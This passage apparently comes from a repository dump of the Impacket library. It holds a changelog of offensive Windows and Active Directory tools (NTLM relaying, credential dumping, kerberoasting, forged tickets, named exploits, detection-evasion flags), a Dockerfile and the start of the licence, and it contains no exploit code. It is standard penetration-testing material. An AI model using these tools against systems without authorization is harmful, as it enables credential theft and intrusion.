`[MS-NSPI]`, `[MS-OXNSPI]` and `[MS-OXABREF]` protocol implementations (by @mohemiv).\n    * Improved the multi-page results in LDAP queries (by @ThePirateWhoSmellsOfSunflowers).\n    * NDR parser optimization (by @mohemiv).\n    * Improved serialization of WMI method parameters (by @tshmul).\n    * Introduce the `[MS-NLMP]` `2.2.2.10` `VERSION` structure in `NTLMAuthNegotiate` messages (by @franferrax).\n    * Added some NETLOGON structs for `NetrServerPasswordSet2` (by @dirkjanm).\n    * Python 3.8 support.\n\n2. Examples improvements\n\t* [atexec.py](examples/atexec.py):\n      * Fixed after MS patches related to RPC attacks (by @mohemiv).\n\t* [dpapi.py](examples/dpapi.py):\n      * Added `-no-pass`, `pass-the-hash` and AES Key support for backup subcommand.\n\t* [GetNPUsers.py](examples/GetNPUsers.py):\n      * Added ability to enumerate targets with Kerberos KRB5CC (by @rmaksimov).\n\t* [GetUserSPNs.py](examples/GetUserSPNs.py):\n      * Added new features for kerberoasting (by @mohemiv).\n\t* [ntlmrelayx.py](examples/ntlmrelayx.py):\n\t  * Added ability to relay on new Windows versions that have SMB guest access disabled by default.\n\t  * Added option to specify the NTLM Server Challenge used when receiving a connection.\n\t  * Added relaying to RPC support (by @mohemiv).\n\t  * Implemented WCFRelayServer (by @cnotin).\n\t  * Added Zerologon DCSync Relay Client (by @dirkjanm).\n\t  * Fixed issue in ldapattack.py when relaying and creating computer in CN=Computers (by @Hackndo).\n\t* [rpcdump.py](examples/rpcdump.py):\n      * Added RPC over HTTP v2 support (by @mohemiv).\n\t* [secretsdump.py](examples/secretsdump.py):\n\t   * Added ability to specifically delete a shadow based on its ID (by @phefley).\n\t   * Dump plaintext machine account password when dumping the local registry secrets(by @dirkjanm).\n\n3. New examples\n\t- [exchanger.py](examples/exchanger.py): A tool for connecting to MS Exchange via\n      RPC over HTTP v2 (by @mohemiv).\n\t- [rpcmap.py](examples/rpcmap.py): Scan for listening DCE/RPC interfaces (by @mohemiv).\n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version):\n\n@mohemiv @mpgn @Romounet @ThePirateWhoSmellsOfSunflowers @rmaksimov @fuzzKitty @tshmul @spinenkoia @AaronRobson @ABCIFOGeowi40 @cclauss @cnotin @5alt @franferrax @Dliv3 @dirkjanm @Mr-Gag @vbersier @phefley @Hackndo\n\n\n## Impacket v0.9.21 (March 2020):\n\n1. Library improvements \n    * New methods into `CCache` class to import/export kirbi (`KRB-CRED`) formatted tickets (by @Zer1t0). \n    * Add `FSCTL_SRV_ENUMERATE_SNAPSHOTS` functionality to `SMBConnection` (by @rxwx). \n    * Changes in NetBIOS classes in `nmb.py` (`select()` by `poll()` read from socket) (by @cnotin). \n    * Timestamped logging added. \n    * Interactive shell to perform LDAP operations (by @mlefebvre). \n    * Added two DCE/RPC calls in `tsch.py` (by @mohemiv). \n    * Single-source the version number and standardize on semantic + pre-release + local versioning (by @jsherwood0). \n    * Added implementation for keytab files (by @kcirtapw). \n    * Added SMB 3.1.1 support for Client SMB Connections.\n\n2. Examples improvements \n    * [smbclient.py](examples/smbclient.py):\n      * List the VSS snapshots for a specified path (by @rxwx). \n    * [GetUserSPNs.py](examples/GetUserSPNs.py):\n      * Added delegation information associated with accounts (by @G0ldenGunSec). \n    * [dpapi.py](examples/dpapi.py):  \n      * Added more functions to decrypt masterkeys based on SID + hashes/key. Also support supplying hashes instead of the password for decryption(by @dirkjanm). \n      * Pass the hash support for backup key retrieval (by @imaibou). \n      * Added feature to decrypt a user's masterkey using the MS-BKRP (by @imaibou). \n    * [raiseChild.py](examples/raiseChild.py):\n      * Added a new flag to specify the RID of a user to dump credentials (by @0xdeaddood). \n    * Added flags to bypass badly made detection use cases (by @MaxNad): \n      * [smbexec.py](examples/smbexec.py):\n        * Possibility to rename the PSExec uploaded binary name with the `-remote-binary-name` flag. \n      * [psexec.py](examples/psexec.py):\n        * Possibility to use another service name with the `-service-name` flag. \n    * [ntlmrelayx.py](examples/ntlmrelayx.py): \n      * Added a flag to use a SID as the escalate user for delegation attacks (by @0xe7). \n      * Support for dumping LAPS passwords (by @praetorian-adam-crosser). \n      * Added LDAP interactive mode that allow an attacker to manually perform basic operations\n        like creating a new user, adding a user to a group , dump the AD, etc. (by @mlefebvre). \n      * Support for multiple relays through one SMB connection (by @0xdeaddood). \n      * Added support for dumping gMSA passwords (by @cube0x0). \n    * [ticketer.py](examples/ticketer.py):\n      * Added an option to use the SPNs keys from a keytab for a silver ticket(by @kcirtapw) \n\n3. New Examples \n    - [addcomputer.py](examples/addcomputer.py): Allows add a computer to a domain using LDAP\n      or SAMR (SMB) (by @jagotu) \n    - [ticketConverter.py](examples/ticketConverter.py): This script converts kirbi files,\n      commonly used by mimikatz, into ccache files used by Impacket, and vice versa (by @Zer1t0). \n    - [findDelegation.py](examples/findDelegation.py): Simple script to quickly list all\n      delegation relationships (unconstrained, constrained, resource-based constrained) in\n      an AD environment (by @G0ldenGunSec). \n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version): \n\n@jagotu, @Zer1t0 ,@rxwx, @mpgn, @danhph, @awsmhacks, @slasyz, @cnotin, @exploide, @G0ldenGunSec, @dirkjanm, @0xdeaddood, @MaxNad, @imaibou, @BarakSilverfort, @0xe7, @mlefebvre, @rmaksimov, @praetorian-adam-crosser, @jsherwood0, @mohemiv, @justin-p, @cube0x0, @spinenkoia, @kcirtapw, @MrAnde7son, @fridgehead, @MarioVilas. \n\n\n## Impacket v0.9.20 (September 2019):\n\n1. Library improvements\n    * Python 3.6 support! This is the first release supporting Python 3.x so please issue tickets\n      whenever you find something not working as expected. Libraries and examples should be fully\n      functional. \n    * Test coverage [improvements](https://github.com/SecureAuthCorp/impacket/pull/540) by @infinnovation-dev\n    * Anonymous SMB 2.x Connections are not encrypted anymore (by @cnotin)   \n    * Support for [multiple PEKs](https://github.com/SecureAuthCorp/impacket/pull/618) when decrypting Windows 2016 DIT files (by @mikeryan) \n\n2. Examples improvements\n    * [ntlmrelayx.py](examples/ntlmrelayx.py): \n      * [CVE-2019-1019](https://github.com/SecureAuthCorp/impacket/pull/635): Bypass SMB singing for unpatched (by @msimakov)\n      * Added [POC](https://github.com/SecureAuthCorp/impacket/pull/637) code for CVE-2019-1040 (by @dirkjanm)\n      * Added NTLM relays leveraging [Webdav](https://github.com/SecureAuthCorp/impacket/pull/652) authentications (by @salu90)\n\n3. New Examples\n    * [kintercept.py](examples/kintercept.py): A tool for intercepting krb5 connections and for\n      testing KDC handling S4U2Self with unkeyed checksum (by @iboukris)\n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version):\n\n@infinnovation-dev, @cnotin, @mikeryan, @SR4ven, @cclauss, @skorov, @msimakov, @dirkjanm, @franferrax, @iboukris, @n1ngod, @c0d3z3r0, @MrAnde7son.\n\n\n## Impacket v0.9.19 (April 2019):\n\n1. Library improvements\n    * [[MS-EVEN]](impacket/dcerpc/v5/even.py) Interface implementation (Initial - by @MrAnde7son )\n\n2. Examples improvements\n    * [ntlmrelayx.py](examples/ntlmrelayx.py): \n      * Socks local admin check (by @imaibou)\n      * Add Resource Based Delegation features (by @dirkjanm)\n    * [smbclient.py](examples/smbclient.py):\n      * Added ability to create/remove mount points to exploit James Forshaw's\n        [Abusing Mount Points over the SMB Protocol](https://tyranidslair.blogspot.com/2018/12/abusing-mount-points-over-smb-protocol.html) technique (by @Qwokka)\n    * [GetST.py](examples/getST.py):\n      * Added resource-based constrained delegation support to S4U (@eladshamir)\n    * [GetNPUsers.py](examples/GetNPUsers.py):\n      * Added hashcat/john format and users file input (by @Zer1t0)\n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version):\n\n@dirkjanm, @MrAnde7son, @ibo, @franferrax, @Qwokka, @CaledoniaProject , @eladshamir, @Zer1t0, @martingalloar, @muizzk, @Petraea, @SR4ven, @Fist0urs, @Zer1t0.\n\n\n## Impacket v0.9.18 (December 2018):\n\n1. Library improvements\n    * Replace unmaintained PyCrypto for pycryptodome (@dirkjanm)\n    * Using cryptographically secure pseudo-random generators\n    * Kerberos \"no pre-auth and RC4\" handling in GetKerberosTGT (by @qlemaire)\n    * Test cases adjustments, travis and flake support (@cclauss)\n    * Python3 test cases fixes (@eldipa)\n    * Adding DPAPI / Vaults related structures and functions to decrypt secrets\n    * [[MS-RPRN]](impacket/dcerpc/v5/rprn.py) Interface implementation (Initial)\n\n2. Examples improvements\n    * [ntlmrelayx.py](examples/ntlmrelayx.py):\n      * Optimize ACL enumeration and improve error handling in ntlmrelayx LDAP attack (by @dirkjanm)\n    * [secretsdump.py](examples/secretsdump.py):\n      * Added dumping of machine account Kerberos keys (@dirkjanm). `DPAPI_SYSTEM` LSA Secret is now parsed and key contents are shown.\n    * [GetUserSPNs.py](examples/GetUserSPNs.py):\n      * Bugfixes and cross-domain support (@dirkjanm)\n\n3. New Examples\n    * [dpapi.py](examples/dpapi.py): Allows decrypting vaults, credentials and masterkeys protected by DPAPI. Domain backup key support added by @MrAnde7son \n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version):\n\n@dirkjanm, @MrAnde7son, @franferrax, @MrRobot86, @qlemaire, @cauan, @eldipa.\n\n\n## Impacket v0.9.17 (May 2018):\n\n1. Library improvements\n    * New `[MS-PAC]` [Implementation](impacket/krb5/pac.py).\n    * [LDAP engine](impacket/ldap): Added extensibleMatch string filter parsing, simple\n      paging support and handling of unsolicited notification (by @kacpern)\n    * [ImpactDecoder](impacket/ImpactDecoder.py): Add `EAPOL`, `BOOTP` and `DHCP` packet\n      decoders (by Michael Niewoehner)\n    * [Kerberos engine](impacket/krb5): `DES-CBC-MD5` support to kerberos added (by @skelsec)\n    * [SMB3 engine](https://github.com/SecureAuthCorp/impacket/commit/f62fc5c3946430374f92404e892f8c48943d411c): If target server supports SMB >= 3, encrypt packets by default.\n    * Initial `[MS-DHCPM]` and `[MS-EVEN6]` Interface implementation by @MrAnde7son \n    * Major improvements to the [NetBIOS layer](https://github.com/SecureAuthCorp/impacket/commit/0808e45b796741aea4162bd756e3f54522e8045b).\n      More use of [structure.py](impacket/structure.py) in there.\n    * [MQTT](https://github.com/SecureAuthCorp/impacket/commit/8cef002928ca52be4e9476a87a54d836b5efa81e) Protocol Implementation and example.\n    * Tox/Coverage Support added, test cases moved to its own directory. Major overhaul.\n    * Many fixes and improvements in Kerberos, SMB and DCERPC (too much to name in a few lines).\n\n2. Examples improvements\n    * [GetUserSPNs.py](examples/GetUserSPNs.py):\n      * `-request-user` parameter added. Requests STs for the SPN associated to the user\n        specified. Added support for AES Kerberoast tickets (by @elitest).\n    * [services.py](examples/services.py):\n      * Added port 139 support and related options (by @real-datagram).\n    * [samrdump.py](examples/samrdump.py): \n      * `-csv` switch to output format in CSV added.\n    * [ntlmrelayx.py](examples/ntlmrelayx.py):\n      * Major architecture overhaul. Now working mostly through dynamically loaded plugins. SOCKS proxy support for relayed connections. Specific attacks for every protocol and new protocols support (IMAP, POP3, SMTP). Awesome contributions by @dirkjanm.\n    * [secretsdump.py](examples/secretsdump.py):\n      * AES(128) support for SAM hashes decryption. OldVal parameter dump added to LSA\n        secrets dump (by @Ramzeth).\n    * [mssqlclient.py](examples/mssqlclient.py):\n      * Alternative method to execute cmd's on MSSQL (sp_start_job). (by @Kayzaks).\n    * [lsalookupsid.py](examples/lsalookupsid.py):\n      * Added no-pass and domain-users options (by @ropnop). \n\n3. New Examples\n    * [ticketer.py](examples/ticketer.py): Create Golden/Silver tickets from scratch or\n      based on a template (legally requested from the KDC) allowing you to customize \n      some of the parameters set inside the `PAC_LOGON_INFO` structure, in particular the\n      groups, extrasids, duration, etc. Silver tickets creation by @machosec and @bransh.\n    * [GetADUsers.py](examples/GetADUsers.py):  Gathers data about the domain's users and\n      their corresponding email addresses. It will also include some extra information\n      about last logon and last password set attributes.\n    * [getPac.py](examples/getPac.py): Gets the PAC (Privilege Attribute Certificate)\n      structure of the specified target user just having a normal authenticated user\n      credentials. It does so by using a mix of `[MS-SFU]`'s `S4USelf` + User to User\n      Kerberos Authentication.\n    * [getArch.py](examples/getArch.py): Will connect against a target (or list of targets)\n      machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.\n    * [mimikatz.py](examples/mimikatz.py): Mini shell to control a remote mimikatz RPC\n      server developed by @gentilkiwi.\n    * [sambaPipe.py](examples/sambaPipe.py): Will exploit CVE-2017-7494, uploading and\n      executing the shared library specified by the user through the `-so` parameter.\n    * [dcomexec.py](examples/dcomexec.py): A semi-interactive shell similar to `wmiexec.py`,\n      but using different DCOM endpoints. Currently supports `MMC20.Application`, `ShellWindows` and\n      `ShellBrowserWindow` objects. (contributions by @byt3bl33d3r).\n    * [getTGT.py](examples/getTGT.py): Given a password, hash or aesKey, this script will\n      request a TGT and save it as ccache.\n    * [getST.py](examples/getST.py): Given a password, hash, aesKey or TGT in ccache, this\n      script will request a Service Ticket and save it as ccache. If the account has constrained\n      delegation (with protocol transition) privileges you will be able to use the `-impersonate`\n      switch to request the ticket on behalf other user.\n\nAs always, thanks a lot to all these contributors that make this library better every day (since last version):\n\n@dirkjanm, @real-datagram, @kacpern, @martinuy, @xelphene, @blark, @the-useless-one, @contactr2m, @droc, @martingalloar, @skelsec, @franferrax, @Fr0stbyt3, @ropnop, @MrAnde7son, @machosec, @federicoemartinez, @elitest, @symeonp, @Kanda-Motohiro, @Ramzeth, @mohemiv, @arch4ngel, @derekchentrendmicro, @Kayzaks, @donwayo, @bao7uo, @byt3bl33d3r, @xambroz, @luzpaz, @TheNaterz, @Mikkgn, @derUnbekannt.\n\n\n## Impacket v0.9.15 (June 2016):\n\n1. Library improvements\n   * `SMB3.create`: define `CreateContextsOffset` and `CreateContextsLength` when applicable (by @rrerolle)\n   * Retrieve user principal name from `CCache` file allowing to call any script with `-k` and just the target system (by @MrTchuss)\n   * Packet fragmentation for DCE RPC layer mayor overhaul.\n   * Improved pass-the-key attacks scenarios (by @skelsec)\n   * Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to\n     build the search filter yourself)\n   * IPv6 improvements for DCERPC/LDAP and Kerberos\n\n2. Examples improvements\n   * Adding `-dc-ip` switch to all examples. It allows specifying what the IP for the domain is.\n     It assumes the DC and KDC resides in the same server.\n   * `secretsdump.py`:\n     * Adding support for Win2016 TP4 in LOCAL or `-use-vss` mode\n     * Adding `-just-dc-user` switch to download just a single user data (DRSUAPI mode only)\n     * Support for different ReplEpoch (DRSUAPI only)\n     * pwdLastSet is also included in the output file\n     * New structures/flags added for 2016 TP5 PAM support\n   * `wmiquery.py`:\n     * Adding `-rpc-auth-level` switch (by @gadio)\n   * `smbrelayx.py`:\n     * Added option to specify authentication status code to be sent to requesting client (by @mgeeky)\n     * Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)\n\n3. New Examples\n   * `GetUserSPNs.py`: This module will try to find Service Principal Names that are associated with normal user account.\n     This is part of the kerberoast attack researched by Tim Medin (@timmedin)\n   * `ntlmrelayx.py`: `smbrelayx.py` on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)\n     (by @dirkjanm)\n\n\n## Impacket v0.9.14 (January 2016):\n\n1. Library improvements\n   * `[MS-TSCH]` - ATSVC, SASec and ITaskSchedulerService Interface implementations\n   * `[MS-DRSR]` - Directory Replication Service DRSUAPI Interface implementation\n   * Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved\n   * Unicode support (optional) for the SMBv1 stack (by @rdubourguais)\n   * NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)\n   * Kerberos support for TDS (MSSQL)\n   * Extended present flags support on RadioTap class\n   * Old DCERPC runtime code removed\n\n2. Examples improvements\n   * `mssqlclient.py`:\n     * Added Kerberos authentication support\n   * `atexec.py`:\n     * It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2\n   * `smbrelayx.py`:\n     * If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default\n     * Added -c option to execute custom commands in the target (by @byt3bl33d3r)\n   * `secretsdump.py`:\n     * Active Directory hashes/Kerberos keys are dumped using `[MS-DRSR]` (`IDL_DRSGetNCChanges` method)\n       by default. VSS method is still available by using the -use-vss switch\n     * Added `-just-dc` (Extract only NTDS.DIT NTLM Hashes and Kerberos) and\n       `-just-dc-ntlm` (only NTDS.DIT NTLM Hashes) options\n     * Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops.\n       Use `-resumefile` option.\n     * Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump (`[MS-SAMR]` `3.1.1.8.11.5`)\n     * Add support for multiple password encryption keys (PEK) (by @s0crat)\n   * `goldenPac.py`:\n     * Tests all DCs in domain and adding forest's enterprise admin group inside PAC\n\n3. New examples\n   * `raiseChild.py`: Child domain to forest privilege escalation exploit. Implements a\n     child-domain to forest privilegeescalation as [detailed by Sean Metcalf](https://adsecurity.org/?p=1640).\n   * `netview.py`: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)\n\n\n## Impacket v0.9.13 (May 2015):\n\n1. Library improvements\n   * Kerberos support for SMB and DCERPC featuring:\n      * `kerberosLogin()` added to SMBConnection (all SMB versions).\n      * Support for `RPC_C_AUTHN_GSS_NEGOTIATE` at the DCERPC layer. This will \n        negotiate Kerberos. This also includes DCOM.\n      * Pass-the-hash, pass-the-ticket and pass-the-key support.\n      * Ccache support, compatible with Kerberos utilities (kinit, klist, etc).\n      * Support for `RC4`, `AES128_CTS_HMAC_SHA1_96` and `AES256_CTS_HMAC_SHA1_96` ciphers.\n      * Support for `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`/`RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`.\n   * `[MS-SAMR]`: Supplemental Credentials support (used by secretsdump.py)\n   * SMBSERVER improvements:\n      * SMB2 (2.002) dialect experimental support. \n      * Adding capability to export to John The Ripper format files\n   * Library logging overhaul. Now there's a single logger called `impacket`.\n\n2. Examples improvements\n   * Added Kerberos support to all modules (incl. pass-the-ticket/key)\n   * Ported most of the modules to the new dcerpc.v5 runtime.\n   * `secretsdump.py`:\n     * Added dumping Kerberos keys when parsing NTDS.DIT\n   * `smbserver.py`:\n     * Support for SMB2 (not enabled by default)\n   * `smbrelayx.py`:\n     * Added support for MS15-027 exploitation.\n\n3. New examples\n   * `goldenPac.py`: MS14-068 exploit. Saves the golden ticket and also launches a \n     psexec session at the target.\n   * `karmaSMB.py`: SMB Server that answers specific file contents regardless of\n     the SMB share and pathname requested. \n   * `wmipersist.py`: Creates persistence over WMI. Adds/Removes WMI Event \n     Consumers/Filters to execute VBS based on a WQL filter or timer specified.\n\n\n## Impacket v0.9.12 (July 2014):\n\n1. Library improvements\n   * The following protocols were added based on its standard definition\n      * `[MS-DCOM]` - Distributed Component Object module Protocol (`dcom.py`)\n      * `[MS-OAUT]` - OLE Automation Protocol (`dcom/oaut.py`)\n      * `[MS-WMI]`/`[MS-WMIO]` : Windows Management Instrumentation Remote Protocol (`dcom/wmi.py`)\n\n2. New examples\n   * `wmiquery.py`: executes WMI queries and get WMI object's descriptions.\n   * `wmiexec.py`: agent-less, semi-interactive shell using WMI.\n   * `smbserver.py`: quick an easy way to share files using the SMB protocol.\n\n\n## Impacket v0.9.11 (February 2014):\n\n1. Library improvements\n   * New RPC and NDR runtime (located at `impacket.dcerpc.v5`, old one still available)\n       * Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)\n       * Support for `RPC_C_AUTHN_NETLOGON` (experimental)\n       * The following interface were developed based on its standard definition:\n           * `[MS-LSAD]` - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)\n           * `[MS-LSAT]` - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)\n           * `[MS-NRPC]` - Netlogon Remote Protocol (nrpc.py) \n           * `[MS-RRP]` - Windows Remote Registry Protocol (rrp.py)\n           * `[MS-SAMR]` - Security Account Manager (SAM) Remote Protocol (samr.py)\n           * `[MS-SCMR]` - Service Control Manager Remote Protocol (scmr.py)\n           * `[MS-SRVS]` - Server Service Remote Protocol (srvs.py) \n           * `[MS-WKST]` - Workstation Service Remote Protocol (wkst.py) \n           * `[MS-RPCE]-C706` -  Remote Procedure Call Protocol Extensions (epm.py)\n           * `[MS-DTYP]` - Windows Data Types (dtypes.py)\n       * Most of the DCE Calls have helper functions for easier use. Test cases added for \n         all calls (check the test cases directory)\n   * ESE parser (Extensive Storage Engine) (ese.py)\n   * Windows Registry parser (winregistry.py)\n   * TDS protocol now supports SSL, can be used from mssqlclient\n   * Support for EAPOL, EAP and WPS decoders\n   * VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi\n\n2. New examples\n  * `rdp_check.py`: tests whether an account (pwd or hashes) is valid against an RDP server\n  * `esentutl.py`: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)\n  * `ntfs-read.py`: mini shell for browsing an NTFS volume\n  * `registry-read.py`: Windows offline registry reader\n  * `secretsdump.py`: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)\n\n\n## Impacket v0.9.10 (March 2013):\n\n1. Library improvements\n   * SMB version 2 and 3 protocol support (`[MS-SMB2]`). Signing supported, encryption for\n     SMB3 still pending.\n   * Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and\n     SMB version independent. It will pick the best SMB Version when connecting against the\n     target. Check `smbconnection.py` for a list of available methods across all the protocols.\n   * Partial TDS implementation (`[MS-TDS]` & `[MC-SQLR]`) so we could talk with MSSQL Servers.\n   * Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.\n   * DCERPC Endpoints' new calls\n     * EPM: `lookup()`: It can work as a general portmapper, or just to find specific interfaces/objects.\n\n2. New examples\n    * `mssqlclient.py`: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives\n      you an SQL prompt for your pleasure.\n    * `mssqlinstance.py`: Lists the MS SQL instances running on a target machine.\n    * `rpcdump.py`: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the\n      UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to\n      develop new functionality to interact against a target interface.\n    * `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the\n      technique described at https://web.archive.org/web/20190515131124/https://www.optiv.com/blog/owning-computers-without-shell-access. It also\n      supports instantiating a local smbserver to receive the output of the commandos executed for those situations\n      where no share is available on the other end.\n    * `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly.\n\nAnd finally tons of fixes :).\n\n\n## Impacket v0.9.9 (July 2012):\n\n1. Library improvements\n   * Added 802.11 packets encoding/decoding\n   * Addition of support for IP6, ICMP6 and NDP packets. Addition of `IP6_Address` helper class.\n   * SMB/DCERPC:\n     * GSS-API/SPNEGO Support.\n     * SPN support in auth blob.\n     * NTLM2 and NTLMv2 support. \n     * Default SMB port now 445. If `*SMBSERVER` is specified the library will try to resolve the netbios name.\n     * Pass the hash supported for SMB/DCE-RPC.\n     * IPv6 support for SMB/NMB/DCERPC.\n     * DOMAIN support for authentication. \n     * SMB signing support when server enforces it.\n     * DCERPC signing/sealing for all NTLM flavours.\n     * DCERPC transport now accepts an already established SMB connection.\n     * Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by\n       forwarding named pipes requests).\n     * Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoid Windows 7 nasty bug when that pipe's\n       not functional.\n   * DCERPC Endpoints' new calls:\n       * `SRVSVC`: `NetrShareEnum(Level1)`, `NetrShareGetInfo(Level2)`, `NetrServerGetInfo(Level2)`,\n         `NetrRemoteTOD()`, `NetprNameCanonicalize()`.\n       * `SVCCTL`: `CloseServiceHandle()`, `OpenSCManagerW()`, `CreateServiceW()`, `StartServiceW()`,\n         `OpenServiceW()`, `OpenServiceA()`, `StopService()`, `DeleteService()`, `EnumServicesStatusW()`,\n         `QueryServiceStatus()`, `QueryServiceConfigW()`.\n       * `WKSSVC`: `NetrWkstaTransportEnum()`.\n       * `SAMR`: `OpenAlias()`, `GetMembersInAlias()`.\n       * `LSARPC`: `LsarOpenPolicy2()`, `LsarLookupSids()`, `LsarClose()`.\n\n2. New examples\n    * `ifmap.py`: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list\n      of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is\n      listed and/or listening.\n    * `lookupsid.py`: DCE/RPC lookup sid brute forcer example.\n    * `opdump.py`: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first\n      256 operation numbers in turn and reports the outcome of each call.\n    * `services.py`: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).\n    * `test_wkssvc`: DCE/RPC WKSSVC examples, playing with the functions Implemented.\n    * `smbrelayx`: Passes credentials to a third party server when doing MiTM.\n    * `smbserver`: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but\n      not enforced. Tested under Windows, Linux and MacOS clients.\n    * `smbclient.py`: now supports history, new commands also added.\n    * `psexec.py`: Execute remote commands on Windows machines\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM python:3.13-alpine as compile\nWORKDIR /opt\nRUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo\nRUN python3 -m pip install virtualenv\nRUN virtualenv -p python venv\nENV PATH=\"/opt/venv/bin:$PATH\"\nRUN git clone --depth 1 https://github.com/fortra/impacket.git\nRUN python3 -m pip install impacket/\n\nFROM python:3.13-alpine\nCOPY --from=compile /opt/venv /opt/venv\nENV PATH=\"/opt/venv/bin:$PATH\"\nENTRYPOINT [\"/bin/sh\"]\n"
  },
  {
    "path": "LICENSE",
    "content": "Licencing\n---------\n\nWe provide this software under a slightly modified version of the\nApache Software License. The only changes to the document were the\nreplacement of \"Apache\" with \"Impacket\" and \"Apache Software Foundation\"\nwith \"Fortra\". Feel free to compare the resulting\ndocument to the official Apache license.\n\nThe `Apache Software License' is an Open Source Initiative Approved\nLicense.\n\n\nThe Apache Software License, Version 1.1\nModifications by Fortra (see above)\n\nCopyright (c) 2000 The Apache Software Foundation.  All rights\nreserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n1. Redistributions of source code must retain the above copyright\n   notice, this list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright\n   notice, this list of conditions and the following disclaimer in\n   the documentation and/or other materials provided with the\n   distribution.\n\n3. The end-user documentation included with the redistribution,\n   if any, must include the following acknowledgment:\n      \"This product includes software developed by\n       SecureAuth Corporation (https://www.secureauth.com/) and Fortra (https://www.fortra.com).\"\n   Alternately, this acknowledgment may appear in the software itself,\n   if and wherever such third-party acknowledgments normally appear.\n\n4. The names \"Impacket\", \"SecureAuth Corporation\", and \"Fortra\" must\n   not be used to endorse or promote products derived from this\n   software without prior written permission. For written\n   permission, please reach out to https://www.coresecurity.com/about/contact.\n\n5. Products derived from this software may not be called \"Impacket\",\n   nor may \"Impacket\" appear in their name, without prior written\n   permission of Fortra.\n\nTHIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\nWARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\nOF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\nITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\nUSE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\nOF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGE.\n\n\n\nimpacket/smb.py and impacket/nmb.py are based on Pysmb by Michael Teo\n(https://miketeo.net/projects/pysmb/), and are distributed under the\nfollowing license:\n\nThis software is provided 'as-is', without any express or implied\nwarranty.  In no event will the author be held liable for any damages\narising from the use of this software.\n\nPermission is granted to anyone to use this software for any purpose,\nincluding commercial applications, and to alter it and redistribute it\nfreely, subject to the following restrictions:\n\n1. The origin of this software must not be misrepresented; you must\n   not claim that you wrote the original software. If you use this\n   software in a product, an acknowledgment in the product\n   documentation would be appreciated but is not required.\n\n2. Altered source versions must be plainly marked as such, and must\n   not be misrepresented as being the original software.\n\n3. This notice cannot be removed or altered from any source\n   distribution.\n\n\nexamples/kintercept.py by Isaac Boukris (https://github.com/iboukris/S4U/)\nis distributed under the following license:\n\nCopyright (c) 2019 Isaac Boukris <iboukris@gmail.com>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF 